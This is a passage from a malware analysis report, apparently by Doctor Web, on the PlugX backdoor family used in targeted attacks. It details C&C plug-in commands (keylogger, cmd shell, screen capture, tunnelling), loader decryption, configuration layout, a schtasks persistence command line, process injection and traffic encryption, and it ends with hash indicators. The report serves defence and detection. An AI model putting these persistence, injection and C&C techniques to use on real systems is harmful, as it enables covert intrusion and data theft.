Expands theenvironment variable
and sends the result tothe server. The
variable is contained in
the command body,and the result is
contained in the
response body-

DISK (2) Plug-in
The second plug-in is also called DISK, but it does not relate to logical drives. There are thefollowing commands: 0xF010, 0xF011, 0xF012, 0xF013.
In the command the trojan receives the srv structure, according to which it creates aconnection object and starts relaying packets from one connection to the newly created one.

103

103

KeyLogger Plug-in
There is a 0xE000 command. The trojan reads the plug-in event log file, then sends it to the
C&C server in the response body.
Nethood Plug-in
The plug-in is used to operate in the network environment.
Command_id

Description

Input

Output0xA000Lists all available
network resources. For
each resource it fills
the structure and thensends it to the C&C
server. The commandcontains parameters of
the NETRESOURCE
structure used as anargument when calling
the WNetOpenEnumW
function

struct command_A000
h_request{
packet_hdr
header;struct command_A000
h_response{
packet_hdr
header;

WORD netres_scope;
WORD netres_type;

WORD netres_scope;
WORD netres_type;

WORD netres_display_type;

WORD netres_display_type;

WORD netres_usage;

WORD netres_usage;

WORD off_netres_loc
alname;WORD off_netres_loc
alname;WORD off_netres_rem
otename;

WORD off_netres_rem
otename;

WORD off_etres_comm
ent;

WORD off_etres_comm
ent;

WORD off_netres_pro
vider;};

WORD off_netres_pro
vider;BYTE res_comment_str[1000];
NETRESOURCEW
net_res_struct;};

0xA001Disables the network
resource specified in
the command with theForce flag, thenreconnects it.
Responds with a zerolength packet

struct command_A001
h_request{
packet_hdr
header;
DWORD netres_scope;
DWORD netres_type;

-

104

104

Command_id

Description

Input

OutputDWORD netres_displa
y_type;DWORD netres_usage;
WORD netres_localna
me_offset;
WORD netres_remoten
ame_offset;
WORD netres_comment_offset;
WORD netres_provide
r_offset;
WORD add_conn_usern
ame;
WORD add_conn_passw
ord_offset;
DWORD add_conn_flags;...
//strings};

Netstat Plug-in
The plug-in collects and sends information about network connections.
Command_id

Description

Input

Output0xD000

Collects and sends
information about TCP
connections.
Depending on the OSversion, it calls one of
the functions to getconnection
information:
AllocateAndGetTc
pExTableFromStack (Windows XP);
GetTcpTable(Windows 2000);
GetExtendedTcpTa-

struct command_D000
h_response{
packet_hdr
header;
DWORD conn_state;
DWORD local_addr;
DWORD local_port;
DWORD remote_addr;
DWORD remote_port;
DWORD owner_pid;
BYTE proc_name[];
};

105

105

Command_id

Description

Input

Output-struct udp_listener_table{DWORD local_addr;
DWORD local_port;
DWORD owner_port;};
struct command_D001
h_response{
packet_hdr
header;ble (Windows VistaWindows 7)
0xD001

Collects information
about UDP
connections. It issimilar to the previous
commandudp_listener_table
udp_tab;BYTE proc_name[];};

0xD002

Changes the state of
the TCP connection.
The command bodycontains an argument
for the SetTcpEntry(MIB_TCPROW)
function

struct command_D002
h_request{
packet_hdr
header;
MIB_TCPROW
tcp_row}-

Option Plug-in
The plug-in can receive the following commands:· 0x2000 — to block the system with the LockWorkstation function;· 0x2001 — to force the user to end the session;· 0x2002 — to reboot;· 0x2003 — to shut down the system;· 0x2005 — to show in a separate MessageBox thread with the specified parameters:
struct command_0x2004_request{
packet_hdr header;
DWORD uType;
WORD off_lpCaption;
WORD off_lpText;
}

106

106

Portmap Plug-in
The plug-in contains the 0xB000 command. From the C&C server it receives its address andport:
struct command_0xB000_request{
packet_hdr header;
WORD port;
BYTE srv_addr[40];}It then creates a TCP connection object and connects to the received address of the C&C
server. Following that, it works in tunnel connection mode, transmitting data from the C&C
server to the server it has established a connection with.
Process Plug-in
Command_id

Description

Output0x5000Receives a list of running
processes. Each process
corresponds to a separate
packet being sent

struct command_5000h_respo
nse{
packet_hdr header;
BOOL if_sfc_protected;
BOOL is_wow64;
DWORD pid;
WORD off_username;
WORD off_user_domain;
WORD off_proc_path;
WORD off_CompanyName;
WORD off_FileDescription;
WORD off_FileVersion;
WORD off_ProductName;
WORD off_ProductVersion;
WORD off_icon_bitmask_bitm
ap;
WORD off_icon_color_bm;...
//strings};

0x5001

Gets a list of modules for the
specified process; the target
process ID is set in theheader.errc field of thecommandstruct command_5001h_respo
nse{
packet_hdr header;
BOOL if_sfc_protected;
DWORD dll_base;
DWORD size_of_image;
FILETIME creation_time;

107

107

Command_id

Description

OutputFILETIME
last_access_time;
FILETIME
last_write_time;
WORD off_module_path;
WORD off_CompanyInfo;
WORD off_FileDescription;
WORD off_FileVersion;
WORD off_ProductName;
WORD off_ProductVersion;...
//strings};

0x5002

Terminates the process; the ID
is set in the header.errc fieldof the command

Regedit Plug-in
The plug-in is designed to operate with system registry.
Command_id

Description

Input

Output0x9000Receives nested
registry keys in thespecified key. The
section handle iscontained in theheader.errc field,
while the key name iscontained in thecommand body.
Sends one nested key
at a time-

struct command_0x90
00_response{
packet_hdr
header;0x9001Creates a nested key
with the namespecified in thecommand body. The
key handle iscontained in theheader.errc field--

0x9002

Deletes the nested key
specified in thecommand body. The--

BOOL if_has_subkeys;
BYTE subkey_name[];
}

108

108

Command_id

Description

Input

Outputstruct command_0x90
03_request{
packet_hdr
header;-key handle iscontained in theheader.errc field
0x90030x9004Creates a key with thespecified name, thenrecursively fills it withvalues copied fromanother key also
specified in thecommand. If
successful, the source
key is deleted.
Otherwise, the trojan
deletes the newly
created key. The key
handle is contained in
the header.errc
field
Retrieves the values ofthe specified key. The
key name is containedin the body; thehandle is contained in
the header.errc
field

WORD off_src_subkey;
WORD off_dst_subkey;...
//strings}-

struct command_9004
h_response{
packet_hdr
header;
DWORD dword_0_zero;
DWORD value_data_type;
DWORD value_data_len;
WORD word_0_zero;
WORD off_value_name;
WORD off_value_data;...
//strings};

0x9005Creates a nested key
and the value in it.
Depending on the flagin the command, thetrojan can check
whether the value
exists. The key handle

struct command_9005
h_request{
packet_0_hdr
header;
BOOL check_if_val_e
xists;

-

109

109

Command_id

Description
is contained in theheader.errc field

Input

OutputDWORD value_data_type;
DWORD value_data_size;
WORD off_subkey_name;
WORD off_value_name;
WORD off_value_data;...
//strings};

0x9006

Removes the value
from the key

struct command_9006
h_request{
packet_hdr
header;-

WORD off_subkey_name;
WORD off_value_name;...
//strings}

0x9007

Trojan checks whether
value 1 exists. If it
does not, the trojan
checks value 2. If value
2 exists, value 1 iscreated and replacedwith value 2. After that,value 2 is deleted

struct command_9007
h_request{
packet_hdr
header;
WORD off_subkey_name;
WORD off_value_2_name;
WORD off_value_1_name;...
//strings
}

-

110

Screen plug-in
Creates and sends desktop screenshots and imitates working over the RDP Protocol.
Command_id

Description

Input

Output0x4000The command starts 2
separate threads thatsimulate working overthe RDP Protocol.
Screenshots of theinteractive desktop aresent in the first stream.
In the second thread,commands related tologging mouse andkeyboard events arereceived and executed.
Initially, the 0x4000
command is received
along with a packet thatindicates the required
resolution of
screenshots (bits per
pixel). The second
thread can receive oneof these commands:

struct command_400
0h_request{
packet_hdr
header;struct command_400
0h_screen_attr{
packet_hdr
header;

WORD bits_per_pixel;}WORD bits_per_pixel;WORD horiz_res;
WORD ver_res;struct command_400
4h_request{
packet_hdr
header;BYTE bitmap_colos[];}

DWORD mouse_event_flags;
DWORD mouse_event_data;
DWORD x;DWORD y;};· 0x4004 — focusing

on the window
according to thecoordinates specified
in the command and(optionally) by mouseclick· 0x4005 — sending

keyboard event logs
· 0x4006 — sending

0x4100struct command_400
5h_request{
packet_0_hdr
header;BYTE vkey_code;
BYTE key_scan_code;
WORD reserved_0;

HWND_BROADCAST
message with the
CTRL+ALT+DEL key
combination

BYTE keybd_event_f
lags;
};

Creates a screenshot
with the specified
parameters and sends itto the C&C server

struct command_410
0h_request{
packet_0_hdr
header;BYTE bFlag;

-

110

111

Command_id

Description

Input

OutputBYTE scale_or_reso
lution;WORD horz; //ifflag ->
resolutione, else
scale coeff
WORD vert; //ashorz};

0x4200Sends a pre-taken
screenshot in JPEG
format from theconfig.screenshots_path directory. First it
sends its name, then it
sends the screenshot
itself as blocks by
0xE000 bytes. Then
sends a zero-length
packet-Service Plug-in
The plug-in is designed to operate with system services.
Command_id

Description

Input

Output0x6000Receives information
about services andtheir files-

struct command_6000
h_response{
packet_hdr
header;
DWORD if_sfc_protec
ted;
DWORD current_state;
DWORD start_type;
DWORD controls_acce
pted;
DWORD pid;
WORD offset_service_name;

111

112

Command_id

Description

Input

OutputWORD offset_display_name;
WORD offset_service_start_name;
WORD offset_descrip
tion;
WORD offset_binpath;
WORD offset_Company
Name;
WORD offset_FileDes
cription;
WORD offset_FileVer
sion;
WORD offset_Product
Name;
WORD offset_ProductVersion;...
//strings};

0x6001

Alternates the launchmethod of thespecified service--

structcommand_6000h_res
ponse The name of
the target service iscontained in thecommand body; thenew parameter for thelaunch method iscontained in theheader.errc field
0x6002

Runs the specified
service; its name iscontained in thecommand body--

0x6003

Sends the control code to the specified service.

-

112

113

Command_id

Description

Input

Output--

The name is containedin the body; the control
code is contained in
the header.errc
field
0x6004

Deletes the service
specified in thecommand body

Shell plug-in
The plug-in is designed to create a shell for the cmd.exe; plug-in command ID —command_id — 0x7002. It creates pipes for reading and writing in two separate threads,
then creates a cmd.exe process and redirects I / O to pipes. The trojan receives input fromthe connection object to the C&C server and sends an output in response.
SQL Plug-in
The plug-in is designed to operate with SQL queries.
Command_id

Description

Input

Output0xC000Retrieves available SQL
data sources by the
odbc32!SQLDataSou
rcesW function-

struct command_C000
h_response{
packet_hdr
header;BYTE server_name[4096];
BYTE descriptions[];}

0xC001

Lists available SQL
drivers by the
odbc32!SQLDrivers
W function-

struct command_C001
h_response{
packet_0_hdr
header;BYTE driver_description[4096];
BYTE driver_attribu
tes[];

113

114

114

Command_id

Description

Input

Output};0xC002

Executes an arbitrary
SQL query. The body ofthe first packet contains
the connection stringthat is used as anargument when callingtheodbc32!SQLDriverC
onnect function. Next,
packets withheader.command_id
equal to 0xC003
contain the requests. In
response, diagnostic
data obtained bycalling the
SQLGetDiagRecW
function is sent inpackets withheader.command_id
equal to 0xC008; theresults of the SQL
query are sent inpackets withheader.command_id
equal to 0xC004-

Telnet Plug-in
The plug-in is designed to fully simulate working over the Telnet Protocol. It starts when the
0x7100 command is received. Upon this command, the "cmd.exe /Q” process is created,a zero-length packet is sent to the server, then 2 handlers run in separate threads. The firstone accepts packets with id 0x7101 and 0x7102:· 0x7101 — opens the console using the CONIN$ ID and enters the data received from thecommand. The packet body contains an array of INPUT_RECORD structures;· 0x7102 — sends the ID of the control event (CtrlEvent) to the console opened by the

CONIN$ ID. The event code is located in the header.errc field.
The second handle in packets with id 0x7103 sends information about the console:
struct c2_command_7103h_telnet_cli2srv{
packet_hdr header;
DWORD console_CP;

115

DWORD consoleOutput_CP;
DWORD console_input_mode;
DWORD console_output_mode;
DWORD console_display_mode;
CONSOLE_CURSOR_INFO console_cursor_info;
COORD console_position;
COORD console_size;};

In packets with id 0x7104, the trojan sends the read console buffer.

BackDoor.PlugX.26
A loader for BackDoor.PlugX.38 written in C and designed to operate in 32-bit and 64-bit
Microsoft Windows operating systems. It is an executable file that loads and decrypts thepayload module.

Operating routine
The loader is an executable file and its original name is msvsct.exe. Its installation path on
the infected system is C:\ProgramData\AppData\msvsct.exe . It writes itself to theregistry autostart location:[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'AUTORUN' = "c:\programdata\appdata\msvsct.exe.
The payload is located in msvsct.ini and is decrypted by the following script:s = ''
for i in range(len(d)):
s += chr((((ord(d[i]) + 0x77) ^ 0x78) - 0x79) & 0xff)

After decryption the payload turns into shellcode, which loads the main malicious module asa dynamic link library (detected by Dr.Web as BackDoor.PlugX.38).

BackDoor.PlugX.38
A multi-module backdoor written in C and designed to operate in 32-bit and 64-bit
Microsoft Windows operating systems. Once installed by the BackDoor.PlugX.26 loader, it
operates in an infected computer’s RAM. It is used in targeted attacks on information
systems for gaining unauthorized access to data and transferring it to C&C servers. The
operating routine and algorithms are similar to those of BackDoor.PlugX.28. Similar
structures are used for storing and processing data, including an identical object for storing
strings.

115

116

Operating routine
All WinAPI functions are called dynamically using the CRC32 algorithm, and the checksum is
calculated over the entire function name, including the trailing \x00.

Similar to BackDoor.PlugX.28, this modification does not have uniform conventions for userfunction calls. Simple string encryption is applied. It is not implemented in a separate
function but embedded in it.

116

117

Threads are not created directly, but via the global threads_container object, which
stores a list of running threads with information about each of them. Each thread has its own
hardcoded name that are encrypted in some cases.
Assumed threads_container structure:
struct threads_info{
LIST_ENTRY p_threads_list;
DWORD threads_count;};struct threads_container{
CRITICAL_SECTION crit_sect;threads_info threads;};
struct thread_obj{
LIST_ENTRY p_threads;
DWORD thread_ID;
threads_container *p_threads_container;
DWORD (__stdcall *p_function)(LPVOID arg);
LPVOID arg;
BYTE *name;};Start of operation
After receiving control from the loader, BackDoor.PlugX.38 initializes a number of global
objects that are used in further operations. Then it sets its
SetUnhandledExceptionFilter exception handler. For an unhandled exception, thefunction finds the ID of the thread that caused this exception in threads_container andgenerates the string:
EName:%s,EAddr:0x%p,ECode:0x%p,EAX:%p,EBX:%p,ECX:%p,EDX:%p,ESI:%p,EDI:%p,EBP:%p,ESP:%
p,EIP:%p;

117

118

where EName is the thread name. The remaining parameters are taken from the
EXCEPTION_POINTERS structure. The string is generated in a local variable and is not usedin further operations. The handler then terminates this thread.
After preparation procedures, the trojan gets the SeDebugPrivilege and
SeTcbPrivilege privileges, then initializes the main thread with the bootProc name,which is stored in open format.

First, bootProc calls FreeLibrary on a module named msvsct.txt. Then the configuration
is initialized.
Configuration from the loader
To determine the configuration type, the loader passes the argument to the pointer used by
BackDoor.PlugX.38 to check the first 4 bytes. If the first bytes of the argument are the magic
number, it means the loader passed the shellarg structure. The magic number has thevalue 0x504c5547, which corresponds to the PLUG value in the ASCII encoding.
The shellarg structure is represented as follows:
struct shellarg{
DWORD signature;
DWORD dword_0;
DWORD dword_1;
DWORD p_shellcode;
DWORD shellcode_size;
DWORD config;
DWORD config_size;};

In this case, the configuration from the argument is decrypted and stored in the global
variable of the trojan program. Then the path to the backdoor's working directory is
extracted from the received configuration. The trojan attempts to read boot.cfg from this

118

119

directory, which can also store the configuration (for example, passed from the C&C server).
If the file exists, the program reads the configuration from it, decrypts it, and applies it.
Configuration encryption algorithm:
import struct
def DWORD(i):return i & 0xFFFFFFFF
def LOBYTE(i):return i & 0x000000FF
def dec(key, in_data):
k1 = k2 = k3 = k4 = key
result = ""for x in in_data:
k1 = DWORD(k1 + (k1 >> 3) - 0x11111111)
k2 = DWORD(k2 + (k2 >> 5) - 0x22222222)
k3 = DWORD(k3 + 0x33333333 - (k3 << 7))
k4 = DWORD(k4 + (0x44444444 - (k4 << 9)))k = LOBYTE(k1 + k2 + k3 + k4)
result += chr(ord(x) ^ k)return result
def decrypt(addr, size):data = get_bytes(addr, size, 0)
key = struct.unpack("<I", data[:4])[0]result = dec(key, data)
return result

Hardcoded configuration
The hardcoded configuration is decrypted if the argument received from the loader does
not have the PLUG magic value.
Structure of the configuration:
struct timeout{
BYTE days;
BYTE hours;
BYTE minutes;
BYTE seconds;};
struct srv{
WCHAR type;
WCHAR port;
BYTE address[64];};struct proxy_info{
WCHAR type;
WCHAR port;

119

120

120

BYTE address[64];BYTE username[64];BYTE password[64];};struct st_config{
DWORD dword_0;
DWORD key;
DWORD dword_1;
DWORD flag_hide_service;
BYTE gap_0[24];DWORD flag_delete_proc_bins;
DWORD dword_2;
DWORD flag_dont_start_service;timeout timeout;
DWORD dword_3;
BYTE timetable[672];
DWORD DNS_1;
DWORD DNS_2;
DWORD DNS_3;
DWORD DNS_4;
srv srv_1;
srv srv_2;
srv srv_3;
srv srv_4;
BYTE url_1[128];BYTE url_2[128];BYTE url_3[128];BYTE url_4[128];
proxy_info proxy_1;
proxy_info proxy_2;
proxy_info proxy_3;
proxy_info proxy_4;
DWORD HTTP_method;
DWORD inject_flag;
DWORD persist_mode;
DWORD flag_broadcasting;
DWORD flag_elevated_inject;
WCHAR inject_target_proc[256];
WCHAR homedir[256];
WCHAR persist_name[256];
WCHAR service_display_name[256];
WCHAR str_1[256];
WCHAR str_2[256];
WCHAR campaign_id[256];}config;

After initializing the configuration, the trojan checks the command line arguments. If there is
one argument, the program uses a standard script for achieving persistence and performing
basic functions; if the command line contains three arguments, the program performs one of
the functions, depending on their values.
Operating with a single command line argument
The persistence option depends on the config.persist_mode value:· 0 — does not achieve persistence, goes directly to the main functionality;

121

121
· 1 — autorun by HKCU\Software\Microsoft\Windows\CurrentVersion\Run;· 2 — creates tasks in Task Scheduler;· 3 — sets services (if there are no administrative privileges, it is equivalent to 1 mode).

If executed without achieving persistence, the trojan checks the config.inject_flag
flag. If the value is not equal to 0, the argument passed from the loader is checked. If theargument contains the PLUG value, the process specified inconfig.inject_target_proc is started. The shellcode from the shellarg structure is
injected into this process and the main process is terminated.
In case of execution with persistence, the trojan checks the current directory. If it matches thetrojan’s working directory config.homedir, the persistence stage is skipped and either theprocess injection or the main functionality is performed. Otherwise, 2 mutexes are createdwith the Global\DelSelf(XXXXXXXX) and Global\DelSelf(YYYYYYYYY) names,
where XXXXXXXX and YYYYYYY are IDs of the current and parent processes in the HEX view,
respectively. In all persistence modes, the trojan moves its files to the working directory.
The persistence provides an option when the config.persist_mode parameter can takethe 0 value. This is necessary if the process is started with 3 arguments and the second
argument equals 100. In such conditions, after transferring its files, BackDoor.PlugX.38 isrestarted from its working directory.
In the persistence option with the value config.persist_mode == 1, the autorun key
creates a parameter with the name specified in the config.persist_name configuration.
After that, the trojan launches itself from the working directory.
If the persistence option is set to config.persist_mode == 2, a task is created in thescheduler by calling schtasks:
cmd.exe /c schtasks /create /sc minute /mo 2 /tn"\"<config.homedir\msvsct.exe>\"""<config.persist_name>" /tr

If administrative privileges are obtained, the trojan adds the /ru "system” parameter.
After creating the task, the trojan terminates the process.
If the persistence option is set to config.persist_mode == 3, a service is set. The trojan
checks for a service named config.persist_name and, if it exists and stopped, deletes it.
If the service is running, the service creation step is skipped. Otherwise, the trojan creates theconfig.persist_name service with the config.service_display_name display
name. If the config.flag_dont_start_service value is not equal to 0, the service
does not start. After creating the service, the trojan terminates the process.
When performing the main functionality, the trojan creates the Global\ReStart0 mutex.
Then by a mutex named Global\DelSelf(YYYYYYYYY), the program searches for theparent process. After the search the process is terminated, the process’ binary is deleted(provided the config.flag_delete_proc_bins flag is set). Next, the trojan checks the

122

122

value of the config.flag_elevated_inject flag. If the value is not equal to 0, thenamed thread SiProc is started.

In this thread, the malware also checks the argument passed by the loader. Further executionof the SiProc thread continues only if the PLUG value is present. The thread iterates
through the processes and attempts to get the session ID based on the PID value of eachprocess. If successful, it copies the process access token and assigns the (S-1-16-12288)
HighIntegrity class to its duplicate. Then, using this marker, it creates the msiexec.exe
209 <currentPID> process, which injects shellcode with a payload. The thread receives apointer to the elevated_injects structure as an argument:
struct injected_proc{
DWORD session_id;
DWORD pid;
DWORD hProcess;
BYTE token_user_name[40];};struct elevated_injects{
injected_proc procs[32];DWORD hThread;
DWORD hEvent;};

Each time the shellcode is successfully injected, the elevated_injects.procs array isfilled in.
After this, the plug-in container object and the plug-ins themselves are initialized. Then anarray of auxiliary functions used by the plug-ins is initialized. These functions are accessed
via the named display of the PI[%8.8 X] object, where the format parameter is the ID of
the current process.

123

123

Then each plug-in is sequentially initialized, resulting in an individual object
plugin_object creation:
struct plugin_object{
DWORD dword_1;
DWORD init_flag;
DWORD index;
DWORD datestamp;
DWORD (__stdcall *p_job_func)(LPVOID p_conn_object, packet *p_packet);
BYTE name[32];};The plug-in names correspond to those of BackDoor.PlugX.28, with the exception of theabsence of the DISK second plug-in. The values placed in plugin_object. datestampdiffer for each plug-in:

124

124

Plug-in nameDatestamp value

Disk

20120325h

KeyLog20120324h

Nethood20120213h

Netstat20120215h

Option20120128h

PortMap

20120325h

Process

20120204h

RegEdit20120315h

Screen20120220h

Service

20120117h

Shell

20120305h

SQL

20120323h

Telnet20120225h

Similar to BackDoor.PlugX.28, the initialization of the KeyLog and Screen plug-ins differ
from the others. When initializing KeyLog, a named stream KLProc is created, in which thetrojan intercepts keyboard events via the RegisterRawInputDevices and
GetRawInputData functions. The event log is contained in the<config.homedir>\NvSmart.hlp file. When initializing the Screen plug-in, 16 cursors
are sequentially loaded in addition to creating an object.

125

125

After initializing all plug-ins, the named thread PlugProc is started. The stream attempts tosequentially read files with the .plg extension from the working directory, whose names cantake values from 0 to 127. A compressed and encrypted PE module can be read from eachof the files. If the argument from the loader contains the PLUG value, after reading the file,the next named thread LdrLoadShellcode is initialized. It decrypts and unpacks themodule, and then loads it, passing it the shellarg structure with the PLUG value as anargument. It should be noted that the ldrloadshellcode procedure is used when
injecting in processes from the configuration and in the msiexec process by copying to thetarget process.
After working with plug-ins, the OlProc thread is started, which communicates with the
C&C server. In addition, several other threads are started from OlProc. The trojan
preliminarily attempts to extract the CLSID parameter from theSoftware\CLASSES\MPLS\ registry key. The extraction is performed from the HKLM
section, or in case of failure, from the HKCU section. If the specified parameter is absent, thetrojan creates it, generates a random value of 8 bytes, formats it as %2.2X%2.2X%2.2X%
2.2X%2.2X%2.2X%2.2X%2.2X, and enters this value into the created parameter. Similar to
BackDoor.PlugX.28, inside OlProc the malware attempts to hide the service in theservices.exe process (provided the config.flag_hide_service flag is set). Then the
OlProcNotify thread is started, and the configuration is initialized again.
After that, a cycle of connections to the server starts. It is possible to load the address of a
new C&C server if there have already been attempts to connect to 4 servers. There are URLS
of the form config.url_<n> provided for this purpose. An HTTP request is made at the

126

126

specified URL, and the response is an encoded server address located between the DZKS
and DZJS strings. Servers can be resolved using queries to DNS servers specified in theconfiguration file.
The first connection attempt is performed without a proxy. Before doing this, the trojan
checks the value of the config.timetable parameter, which is responsible for theconnection schedule (the byte flag is set for every quarter of an hour). Then it checks thetype of server to connect to. The srv structure is similar to that of BackDoor.PlugX.28:
struct srv{
WORD type;
WORD port;
BYTE address[64];};In this case, the BackDoor.PlugX.38 type field, which defines the connection Protocol, is a
bit field:· 1 — TCP,
· 2 — HTTP,· 4 — UDP,
· 8 — ICMP,· 16 — HTTPS.

In the analyzed sample, the ICMP Protocol is not supported, but the value is provided (a stubis set when creating the connection object). When using the HTTPS Protocol, the trojan
utilizes a connection to an HTTP proxy server via a socket.

When creating a connection object, a connection string is generated that is not used in theanalyzed sample:
Protocol:[%4s], Host: [%s:%d], Proxy: [%d:%s:%d:%s:%s]A packet structure similar to BackDoor.PlugX.28 is used to communicate with the server:
struct packet_hdr
{

127

127

DWORD key;
DWORD command_id;
DWORD len;
DWORD errc;};
struct packet{
packet_hdr header;
BYTE data[61440] //0xF000;};

For initial access, similar to BackDoor.PlugX.28, the trojan generates from 0 to 0x1F random
bytes, which are sent to the server. A packet with the command is a response for the request.
When using an HTTP connection, there are differences from BackDoor.PlugX.28 in therequest generation mechanism.
A SxWorkProc named thread is created. First, the User-Agent string is formed in parts:
1. Hardcoded Mozilla/4.0 (compatible; MSIE string;
2. The value of the HKLM\SOFTWARE\Microsoft\Internet Explorer\Version
Vector\IE parameter or hardcoded 8.0;
3. Windows NT X.Y, where X.Y is the Windows version;
4. Parameter values from the
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\5.0\User Agent\Post Platform,
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\User Agent\Post Platform keys, as well as similar values from the
HKCU section, are combined via ;;5. Closing bracket ).
The specified parts are combined into a single string that serves as the User-Agent.
The resource string is formed as /index?id=%7.P, where the parameter is the address of
the local variable. The method is selected depending on the value ofconfig.HTTP_method:· 0 — GET;
· 1 — POST;· 2 — random choice between GET and POST.

Then M-headers are added, which are necessary for the HTTP connection to work and sync
(similar to the prefix structure in BackDoor.PlugX.28).
· M-Session:· M-Status:· M-Size:· M-Sn:128

128

Data is transmitted in the request body. Packets are encrypted using the same algorithm
used for the encryption configuration. When preparing a packet for encryption, thepacket.header.key field contains the 20161127h value, but later it is replaced with arandom key. When encrypting and compressing both transmitted and received data, thefollowing options can be used:· If in the packet_hdr.command_id field the bit is set to 0x10000000, a packet is notcompressed (for example, the closing packet after sending a file);· If the bit is set to 0x20000000 in the same field, the packet is not encrypted.

The field of the len header specifies the length of the compressed and uncompressed data
(2 low-order bytes for compressed length, 2 high-order bytes for uncompressed length).
When using a TCP connection, data is transmitted without any headers.
The general commands are similar to those of BackDoor.PlugX.28:
CommandFunction

1

Sending system information2

Re-requesting the command

3

Operating with plug-ins

4Connection reset5

Self-deleting

6

Sending current configuration to the C&C server

7

Receiving new configuration.

8

Sending information about processes with injections (msiexec.exe)

9

Sending the results of LAN scanning

10(see below)

Operating with plug-ins (command 3) is performed in a separate OlProcManager thread
and implemented the same way as in BackDoor.PlugX.28.
When a new configuration is received, it is saved as <config.homedir>\boot.cfg andapplied immediately. After that, the trojan receives information about proxy servers from allavailable sources:

129

129
· All proxy server parameters separated by : — <type: port:address: ID:

password> are extracted from the HKLM\Software\CLASSES\MPLS\PROXY registry
key;· Proxy system data is extracted from theHKU\Software\Microsoft\Windows\CurrentVersion\Internet Settingsregistry key;
· The AutoConfigURL parameter retrieves the address used to call the

UrlDownloadToFileA function. Then using InternetGetProxyInfo WinAPI fromjsproxy.dll the trojan makes a request to appengine[.]google.com, which results in
obtaining proxy server data;· Proxy data is extracted from the Mozilla configuration file: .default\prefs.js.

All received data is saved in the internal object and used for connection. SOCKS4, SOCKS5,
and HTTP proxy protocols can be used to establish a connection.
After OlProcNotify, a new thread JoProc is initialized in the same OlProc, which theninitializes 3 threads sequentially:
JoProcListen
JoProcBroadcast
JoProcBroadcastRecv

JoProcListen starts the JoProcAccept thread, which creates a UDP connection object
and also connects to the C&C server. It is assumed that this thread should have asynchronous
forwarding between the UDP connection and the connection to the С&C server but thecreated UDP connection object is non-working. When created, it does not connect to any
host, and the conditional methods that should transmit and receive data represent stubs that
return the 0 value.
The same applies to the JoProcBroadсast and JoProcBroadcastRecv functions.
JoProcBroadсast iterates through the available network adapters, retrieves their IP
addresses, subnet masks, and gateway addresses, then creates a real TCP connection object
and exits. JoProcBroadcastRecv also has no functionality.
It should be noted that the above operations are performed only if theconfig.broadcasting flag is set. The 9, 10 commands of the C&C server are also
designed to work with network scanning, but there is no useful functionality in them. Whenthe 10 command is received, the config.broadcasting flag is checked and then thecommand execution stops.

130

130

Executing with 3 command line arguments
Second command line
argument

Value

Conditions for getting anargument

100

Installation to the system
according to config.
persist_mode, bypassing
the injection in processes-

200

Injection into the-config.inject_target_
proc process
201

Main functionality

Passed to theconfig.inject_target_
proc process at startup andinjection
202

Main functionality withoutachieving persistence-

209

Operating with plug-ins

Transmitted to msiexec.exe in
the case of

131

131

config.flag_elevated_inject300

Self-deleting-

When running with the 209 argument, argv[2] is also counted, which is the ID of thetrojan’s parent process that launched msiexec.exe with injection. In this case, the \\.
\PIPE\RUN_AS_USER(%d) pipe is created, where the format parameter is the PID of thecurrent process. Next, the DoImpUserProc thread is initialized, in which the trojan operates
with plug-ins. The trojan receives commands for plug-ins from the pipe, and the results aresent to the main process in the pipe.
Operating with plug-ins
Execution of plug-in tasks is generally identical to BackDoor.PlugX.28, with the exception of:· The Netstat plug-in, which creates a table of TCP and UDP connections and manages the

TCP connection, now counts OS versions with MajorVersion == 10;· The Nethood plug-in only contains the A000h command, which collects information

about network resources. This backdoor modification does not include the A001h
command, which allowed the disabling of a given network resource.
Named threads launching order
bootProc is the main function, and the rest of the threads are started from it:· SiProc (injection to msiexec.exe),· OlProc,· OlProcNotify (connecting to the C&C server, working with commands),· OlProcManager (processing tasks for plug-ins in the framework of the current process),· JoProc (network scanning),· JoProcListen (creating a tunnel between a conditional UDP connection and the C&C

server),· JoProcBroadcast (network broadcasting),· JoProcBroadcastRecv (processing responses to broadcasted messages),· PlugProc (working with plug-ins during injection),· LdrLoadShellcode,· KLProc (keylogger thread),· SxWorkProc (HTTP connection handler),· DoImpUserProc (working with plug-ins via pipe).

132

132

plug-in threads can be launched from OlProcManager and DoImpUserProc, dependingon the configuration:· RtlMessageBoxProc (Runs while working with the Option plug-in, used to display

MessageBox with the specified parameters);· ScreenT1, ScreenT2 (Screen plug-in, threads for RDP emulation);· ShellT1, ShellT2 (Shell plug-in, threads for reading and writing cmd pipe);· TelnetT1, TelnetT1 (Telnet plug-in, threads for receiving and sending consoledata).

133

133

Conclusion
During the investigation, our specialists discovered several families of trojan programs usedin these attacks. Samples and malicious activity analysis showed that the initial infection
occurred long before the organization’s employees detected the first signs of malware
presence. Unfortunately, this scenario is one of the attributes of successful APT attacks, as
malware creators always allocate significant resources to concealing their presence within
the compromised system.
The study does not address the primary vector of infection, or the overall picture of infectionof the entire infrastructure. We are convinced the trojans described in the study are only partof the malware involved in these attacks. The mechanisms hackers used make it very difficult
to detect unauthorized presence and regain control of network objects.
To minimize risks, it is necessary to constantly monitor internal network resources, especiallyservers that are of high interest to the attackers such as domain controllers, mail servers, andInternet gateways. If the system is compromised, a prompt and appropriate analysis of thesituation is necessary to develop adequate counteraction measures. Doctor Web not only
creates anti-virus protection software, but also provides an investigation service for virusrelated computer incidents, which include targeted attacks. If malicious activity within a
corporate network is suspected, the best option is to contact the Doctor Web virus
laboratory for qualified help. An early response will help minimize damage and prevent theworst consequences of targeted computer attacks.

134

134

Appendix. Indicators of Compromise
SHA1 hashes
Exploit.RTF
a707de5a277573b8080e2147bd99ec1015cf56c5: doc.rtf
BackDoor.Apper
48944207135ffbf0a3edf158e5fe96888a52fada: dropper
23dbe50d3484ba906a2fd4b7944d62fb4da42f95: RasTls.dll
5b041bce8559334dc9e819c72da9ff888d7e39c9: shellcode
BackDoor.CmdUdp
314b259739f4660e89221fa2e8990139a84611a9: dnscache.dll
BackDoor.Logtu
7797107eb4a9a9e4359413c15999603fa27714b3: logsupport.dll
BackDoor.Mikroceen
2930efc03e958479568e7930f269efb1e2bcea5a: nwsapagent.dll
56000aa9a70ff3c546dab3c2a3b19021636b3b9c: nwsapagenttt.dll
e98f3b43ab262f4c4e148e659cc615a0612d755f: srv.dll
BackDoor.PlugX
